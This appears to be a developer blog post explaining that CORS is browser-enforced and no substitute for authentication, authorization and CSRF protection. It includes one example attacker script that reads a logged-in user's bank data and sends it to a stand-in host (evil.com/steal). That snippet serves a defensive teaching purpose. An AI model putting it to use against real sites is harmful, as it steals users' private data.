·8 min read

CORS Is Not a Security Feature, Stop Treating It Like One

CORS is enforced by browsers, not servers. curl doesn't care. Postman doesn't care. Your attacker's script doesn't care. Here's what CORS actually does and what protects your API instead.

SecurityBackendAPI DesignWeb

I've seen this comment in production code more than once:

// Security: CORS enabled, only our frontend can call this API
app.use(cors({ origin: 'https://myapp.com' }));

That comment is wrong. Not slightly off, fundamentally wrong. And I say that not to be harsh but because believing it creates a false sense of security that leaves real vulnerabilities unaddressed.

Let's talk about what CORS actually is.

What CORS Actually Does

CORS stands for Cross-Origin Resource Sharing. It's a browser mechanism. The browser decides whether to allow a web page from one origin (https://evil.com) to read the response from another origin (https://yourapi.com).

That's it. That's the whole thing.

When your browser makes a cross-origin request, it checks the response headers from the server. If the server says Access-Control-Allow-Origin: https://myapp.com, the browser allows myapp.com to read the response. If the header isn't there, or lists a different origin, the browser blocks access to the response.

The request still went through. The server still processed it. The browser just won't let the JavaScript on the page read the response.

Let that sink in for a second.

curl Doesn't Speak CORS

curl -X DELETE https://yourapi.com/users/42 \
  -H "Authorization: Bearer some-token"

CORS restrictions: zero. curl is not a browser. It doesn't implement the Same-Origin Policy. It sends the request, gets the response, and prints it out. CORS headers are completely ignored.

Same with Postman. Same with Python's requests library. Same with any server-side code. Same with an attacker's script.

CORS is a browser safety net for legitimate web pages. It has no effect on any non-browser HTTP client. None.

What "Restricting" CORS Actually Prevents

Let me give you the one real attack CORS protects against.

Scenario: you're logged into https://yourbank.com. Your session cookie is sitting in your browser. Now you visit https://evil.com, which has this script:

fetch('https://yourbank.com/api/balance', {
  credentials: 'include' // sends your session cookie
})
  .then(res => res.json())
  .then(data => {
    // evil.com reads your balance and exfiltrates it
    fetch('https://evil.com/steal?data=' + JSON.stringify(data));
  });

Without CORS restrictions, evil.com's script would successfully read data from your bank's API using your credentials. CORS prevents this, if the bank's API doesn't include evil.com in its allowed origins, the browser blocks the response read.

So CORS does protect against cross-site data exfiltration via browser scripts. That's legitimate. That's valuable.

But it doesn't protect against:

  • Direct API calls from any non-browser client
  • An attacker who obtained valid credentials
  • Server-side request forgery (SSRF)
  • Anything else that doesn't involve a browser's Same-Origin Policy enforcement

CORS with credentials: true and origin: '*' is invalid, browsers reject it. But CORS with origin: '*' and no credentials is common and means any site can read your public API responses. Fine for public APIs, not fine if you think it's a security boundary.

The Real Culprit: Missing Authentication

Here's the thing. If the only thing stopping unauthorized users from calling your API is CORS, your API has no authentication. And that's the actual problem.

// This does nothing for security
app.use(cors({ origin: 'https://myapp.com' }));

// This is where security actually lives
app.use(authenticate); // verify JWT, session, API key, whatever
app.use(authorize);    // verify the user can do what they're trying to do

A properly authenticated API can have Access-Control-Allow-Origin: * and still be secure, because every request must carry valid credentials that can't be forged. CORS is irrelevant when authentication is solid.

A poorly authenticated API with strict CORS is just waiting for someone to open curl.

CSRF Is a Different Problem

There's a related attack that CORS is sometimes confused with protecting against: Cross-Site Request Forgery (CSRF).

CSRF exploits the fact that browsers automatically send cookies with requests to matching domains. If you're logged into yourbank.com and visit evil.com, a form on evil.com can submit a POST request to yourbank.com/transfer and your session cookie goes along for the ride.

CORS doesn't fully protect against this. Simple requests (forms, application/x-www-form-urlencoded) don't trigger CORS preflight checks. CORS protects against reading the response, not against the request being made.

CSRF protection requires CSRF tokens, SameSite cookie attributes, or checking Origin/Referer headers explicitly.

// SameSite=Strict: cookie never sent from cross-site context
// SameSite=Lax: cookie sent with top-level navigation but not sub-requests
Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly

Modern browsers default to SameSite=Lax for cookies that don't specify it, which gives you some protection for free. But SameSite=Strict + explicit CSRF tokens is the right approach for anything sensitive.

The Preflight Request

One more thing worth understanding: the preflight.

For "non-simple" requests (most POST/PUT/DELETE with JSON bodies, custom headers, etc.), the browser sends an OPTIONS request first to check if the cross-origin request is allowed.

OPTIONS /api/users HTTP/1.1
Origin: https://evil.com
Access-Control-Request-Method: DELETE
Access-Control-Request-Headers: Authorization, Content-Type

The server either approves or rejects this. If approved, the actual request goes through (from the browser's perspective).

The mistake I see: devs thinking this OPTIONS check means unauthorized parties can't make the real request. They can. Nothing about the preflight stops a non-browser client from skipping it entirely and sending the DELETE directly.

What Actually Protects Your API

Since CORS doesn't:

  1. Authentication, every request proves identity. JWT, session cookie, API key. Pick one, implement it everywhere.
  2. Authorization, every request proves permission. User 42 cannot delete user 43's data. Check this explicitly, not implicitly.
  3. Input validation, validate and sanitize at the server. Never trust client input.
  4. Rate limiting, on account identifiers, not IPs. (Wrote about this already.)
  5. CSRF tokens, for cookie-based auth. SameSite=Strict at minimum.
  6. HTTPS, always. Prevents MITM. Has nothing to do with CORS but gets forgotten.

CORS is a browser-side ergonomics feature that prevents one specific category of cross-site attack. Configure it correctly, don't allow * for authenticated endpoints, don't set credentials: true without thought. But don't mistake it for your security perimeter.

Your security perimeter is auth. CORS is just the browser being polite.